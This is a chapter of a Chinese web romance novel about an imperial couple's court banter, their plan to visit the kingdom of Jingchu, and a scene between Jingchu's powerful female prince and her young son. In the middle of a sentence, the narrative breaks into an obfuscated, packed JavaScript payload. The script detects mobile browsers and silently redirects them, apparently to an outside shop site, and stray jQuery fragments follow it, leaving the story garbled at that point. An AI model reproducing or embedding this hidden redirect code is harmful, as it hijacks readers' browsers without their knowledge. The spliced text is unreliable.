74.京阙余闲,荷风绕榭

作品:《萧墙龙影,九州潮

    帝国朝堂巍峨肃穆,鎏金梁柱映着晨光,议事的钟声余韵未散。萧念一身暗纹鸾鸟的朱红朝服,与身着玄色龙袍的沈景遇并肩端坐于高台龙椅之上,帝后同朝,威仪自生。


    “陛下,皇后娘娘,”礼部尚书躬身出列,展开奏疏朗声禀报,“据荆楚传来的密报,该国近年深陷内讧,藩王割据,皇室覆灭。新任帝王姓封,名讳暂未详查,现年四十一岁,登基已有三载,蹊跷的是——其后宫至今空悬,未纳一妃一嫔。”


    萧念支着腮,心头掠过一丝莫名的笑意。偏头凑到沈景遇耳畔,用只有两人能听见的音量,轻嗤道:“后宫至今还空着,咋跟你当年一模一样?”


    温热的气息拂过耳廓,沈景遇侧目睇她一眼,眼底带着几分警告,示意她正经听奏。


    这一幕,全落在阶下靠前站着的凌时屿眼里。他手上夹着卷宗,等着奏事,结果猝不及防被塞了一嘴狗粮,嘴角狠狠抽了抽,翻了个无声的白眼,心里默默吐槽:合着这满朝文武都是摆设,俩人手把手坐龙椅上还不忘咬耳朵秀恩爱,要不要这么过分?


    想着,他磨了磨后槽牙,恨不得当场咳嗽两声提醒——注意点影响!这是朝堂,不是你们的寝宫!不过有一说一,四十一岁还空后宫,比沈景遇当年还能熬啊。


    沈景遇的反应让萧念倍感无趣,啧了一声,乖乖坐直身子,可心里的好奇却被勾了起来——封姓?这姓氏听着竟有几分熟悉,像是在记忆深处蒙了层灰,一时想不起在哪听过。


    其实这消息,聊落羡前些日子便跟她提过一嘴,只是当时她忙着萧国事物,没太放在心上。如今经大臣当众禀报,细节愈发清晰:听说那新帝身边,只有一位女子,名唤虞皙湉,封号陌宁,爵至王,掌荆楚半数兵权,实打实的一人之下、万人之上。


    而最让萧念意外的是大臣接下来的话:“据眼线查证,这位陌宁王与荆楚的新帝,共育有一子,现年已五岁有余,养在宫,并未封爵。”


    “!”萧念差点没忍住低呼出声,眼底瞬间迸发出八卦的光芒。空置后宫的帝王与权倾朝野的女王爷,有个五岁的孩子?这瓜也太劲爆了!回头定要让纪璟雯好好去查查,这荆楚新帝和陌宁王,到底是何来历,竟能在宗室内乱中杀出重围,还敢这般明目张胆,独宠一人,连后宫都懒得设。


    正思忖着,凌时屿终于寻得插话的机会,上前一步,双手呈上奏折:“陛下,皇后娘娘,四皇子沈屹星大婚的行程,臣已整理妥当,请陛下过目。”这大概是他在帝后面前唯一最正经的时候,平日里对着沈景遇这位义弟,不服就怼是常态,连带着对萧念,也常是“弟妹”长“弟妹”短的随意称呼,遇上不顺心的事,更是敢直呼沈景遇的全名,半点不顾及君臣之分,也就只有在这种朝堂奏事的场合,才肯收敛性子,摆出几分应有的规矩。


    沈景遇抬手接过,指尖拂过奏折封面的烫金大字,方才被萧念搅乱的心神归位,眼眸沉了沉,低头翻看起行程来。殿内一时静了下来,唯有书页翻动的轻响,阶下朝臣屏息等候,萧念也敛了笑意,凑过去与他一同看着。


    凌时屿无语了,不能一个看完一个在看啊!上朝呢,眉来眼去的,这像话吗?这当然不像话!如果不是因为他们是帝后,他早参他们一本了。


    沈景遇翻完奏折,指尖敲了敲案几,对凌时屿道:“行程安排妥当,让礼部再核一遍,莫出纰漏。”凌时屿躬身应下:“臣遵旨。”


    待朝臣退尽,殿门缓缓合上,隔绝了外界的喧嚣,殿内只剩帝后二人,方才强压下的亲昵瞬间便冲破了桎梏。萧念几乎是立刻便卸了端庄,侧身扑进沈景遇怀里,双臂环住他的脖颈,鼻尖蹭着他的下颌,带着几分得逞的笑意嘟囔:“可算没人了,方才憋得我难受。”


    沈景遇顺势揽紧她的腰,让她稳稳坐在自己膝头:“方才又胡说什么?也不怕被大臣听去。”


    “怕什么?”萧念仰头,鼻尖抵着他的鼻尖,“他们又不敢说你的不是。”说着,她抬手捏了捏沈景遇的脸颊,“再说了,我说的难道不是实话?那荆楚新帝,可不就和你一样。”


    沈景遇捉住她不安分的手:“我的后宫,只有你一人,何来空悬之说?”


    萧念低笑出声,在他怀里缩了缩:“好好好,是我说错了——你的后宫,有我这一个‘麻烦’,可不是空悬。”她仰头望着他,“你说那荆楚新帝,会不会也和你一样,是心里早就装了人,才不肯纳妃?”


    沈景遇垂眸凝视着她,指腹摩挲着她的手背;“未必。或许是时局未稳,或许是另有隐情。反正旁人的事,与我们无关。”他抬手将她颊边滑落的一缕碎发别到耳后,指腹不经意擦过她的耳廓,带来一阵微痒。


    “那怎么了?你想啊,权倾朝野的女王爷,空置后宫的帝王,还有个五岁的孩子,这故事可比话本里写的有意思多了。”她抬眼望他,眼底闪着狡黠的光,“等老四的婚事忙完,咱们要不要去荆楚走走?说不定还能探些趣闻回来。”


    “嗯。”沈景遇沉思了会点点头,“正好,也该陪你出去走走了。”他想起这些年两人一个忙着帝国的事物,一个忙着萧国的事物,也好久没有出门远游过了,反正有凌时屿那个大冤种,啊呸,贤内助在。“荆楚山水闻名,既好奇那边的事,便去看看吧。”


    萧念瞬间笑靥如花,在他唇上飞快地啄了一下:“我就知道阿景最爱我了!”她眉眼弯弯,语气雀跃,“到时候咱们乔装打扮一番,就当普通游人,去尝尝荆楚的特色小吃,看看那边的风土人情,再悄悄探探那位封帝和陌宁王的底细,想想都有意思!”


    沈景遇被她的活力感染,嘴角微不可察地勾起一抹弧度,手揽紧她的腰,防止她太过兴奋摔下去:“别闹。出去了便收敛些性子,荆楚毕竟是异国,不比京城安全。”


    “知道啦!”萧念乖乖点头,脑袋靠在他的肩头,“有你在,我怕什么?”她顿了顿,忽然想到什么,轻笑出声,“说起来,凌时屿要是知道咱们把朝政丢给他,自己跑去荆楚玩,怕是要气跳脚吧?”


    沈景遇想了想,“他应付得来。”


    他的话刚落,殿门就被人从外面猛地推开,凌时屿风风火火的身影再次闯了进来,他是来拿方才不慎遗落的玉佩的。结果刚进门一眼瞥见高台上相拥的两人,他脚步瞬间顿住,嘴角抽搐得比上回更厉害,翻了个能上天的白眼:“喂喂喂,能不能移步去寝殿干啊?这可是金銮殿,刚退完朝就腻歪,有没有点帝后样子?”说着还抬手挡了挡眼睛,却忍不住从指缝里偷看,语气愈发嫌弃,“真是够了,走到哪都能吃着狗粮,早知道不来了!”


    萧念被这突如其来的打断整的有点不悦,沈景遇眉头微蹙,但是揽着萧念腰的手却没松开,抬眼看向凌时屿:“你又回来干啥?”


    “还能干啥?我玉佩落这儿了!”他目光刻意避开两人交叠的身影,嘟囔道,“我说你们俩能不能有点分寸?这朝堂是议事的地方,要不要我把床给你搬过来。”


    沈景遇语气里的不耐几乎要溢出来,冷声道::“行了行了,找到玉佩就赶紧走。”他顿了顿,目光扫过凌时屿一脸“被狗粮噎到”的憋屈样,“给你放假一天,回家陪你媳妇去,别在这儿杵着。”


    凌时屿闻言眼睛一亮,方才的嫌弃瞬间烟消云散,摸了摸案几上的玉佩揣进怀里,咧嘴一笑:“诶,这还差不多!我看行,那我可真走了!”生怕沈景遇反悔似的,他转身就往殿外冲,脚步轻快得不像刚抱怨完的人,走到门口还不忘回头喊了句,“你们俩悠着点啊,别把金銮殿的龙椅给整塌了!”话音未落,殿门就被他“砰”地


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109565|193417||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一声带上,只留下余音在空旷的大殿里回荡。


    萧念看着他绝尘而去的背影,忍不住失笑,转头看向沈景遇,眼底带着几分诧异:“你还真给他放假啊?我还以为你只是随口赶他走呢。”她抬手戳了戳沈景遇的胸口,“平日里你对朝臣可没这么大方,怎么到了凌时屿这儿,倒格外开恩了?”


    沈景遇顺势握住她的手:“反正以后有的他忙,先让他轻松一天也无妨。”


    荆楚的夏日常被湿热的风裹挟,宫城依山而建,青青瓦朱墙在浓密的绿荫里晕出几分清凉,檐角悬挂的铜铃被风拂过,叮当作响,打破了午后的静谧。褪去了内讧后的萧索,添了几分沉静生机。御花园深处的荷池边,荷叶挨挨挤挤铺展成碧色的云,粉白相间的荷花亭亭玉立,氤氲的水汽漫过石阶,带着清甜的凉意。


    封肆年穿着小版的锦袍,眉眼精致得像是精心雕琢的玉娃娃,偏偏脸上没什么表情,小脸上写满认真,完全没有寻常孩童的嬉闹:“所以,你当年救爹,就是因为爹长得好看?”


    他的声音还带着孩童的软糯,却刻意模仿着封祈洵的沉稳语调,模样格外认真。虞皙湉放下手中的茶盏,指尖捏了捏他软乎乎的脸颊,力道轻柔,语气带着戏谑:“猜对了,奖励你一块桂花糕。”


    旁边侍女连忙递上一碟精致的糕点,蜜色的糕体裹着细碎的桂花,甜香混着荷风漫开。封肆年抬手接过,小口咬下,脸颊鼓鼓的,却依旧板着小脸,含糊道:“那爹知道吗?”


    “知道啊。”虞皙湉端起茶盏抿了一口,“当年他伤好后问我,为何要救一个素不相识的人,我就直说了。”


    “爹没生气?”封肆年停下咀嚼,抬着湿漉漉的眼眸看她,长长的睫毛像两把小扇子,明明是孩童的模样,眼神却透着几分与年龄不符的沉静,倒真像极了封祈洵平日里的模样。


    虞皙湉被他这模样逗笑,指尖轻轻刮了刮他的鼻尖:“生气什么?他自己长什么样,心里没数吗?”她想起当年乱葬岗的情形,腐臭弥漫,她本是下山采买药材,却在一堆残破尸骸里看见了那个少年。彼时他浑身是血,狼狈不堪,可那张脸却清俊得惊人,眉骨分明,鼻梁高挺,哪怕昏迷着,也像画里走出来的人。她一时心动,便费了九牛二虎之力将他拖回了山上的小屋。


    “再说了,”她收回思绪,“后来他行军打仗,夺嫡登基,哪样离得开我?就算知道我当初救他是看脸,也得乖乖承我的情。”


    封肆年似懂非懂地点点头,又咬了一口桂花糕,小眉头微微蹙起:“可先生说,救人当心怀仁善,不可仅凭外貌。”


    “你先生说得对,但娘当年偏不。”虞皙湉撑着腮,望着满池荷花,眼底闪过几分怀念,“当年我一个孤女隐居山中,哪有什么仁善可谈?不过是见着好看的人,舍不得让他就那么死了罢了。”她知道他心中有个念念不忘的白月光,她恰巧也从未隐瞒过自己的心思,她也不是什么恋爱脑。当年陪他颠沛流离,是觉得他有勇有谋,跟着他或许能前途无量。


    至于这个孩子,额…真的是个意外,她本也没放在心上,只是生下来见他眉眼酷似封祈洵,倒也多了几分疼爱。封祈洵给孩子取名“肆年”,她隐约猜到或许与他那位白月光有关,却也不甚在意。日子是自己过的,她如今权倾朝野,儿子乖巧好看,正好是她想要的。


    “哎呀,你这孩子。”虞皙湉又捏了捏他紧绷的小脸,语气带着点嫌弃,“小小年纪,跟你爹一样冷冰冰的,一点都不天真,真没劲。你看那池里的锦鲤,还知道追着鱼食嬉闹,你倒好,吃块桂花糕都跟审案似的。”


    封肆年被她捏得脸颊泛红,却依旧板着脸:“爹说,男儿当沉稳。”


    “沉稳也不是你这样的。”虞皙湉笑着摇头。“算了算了,随便你了”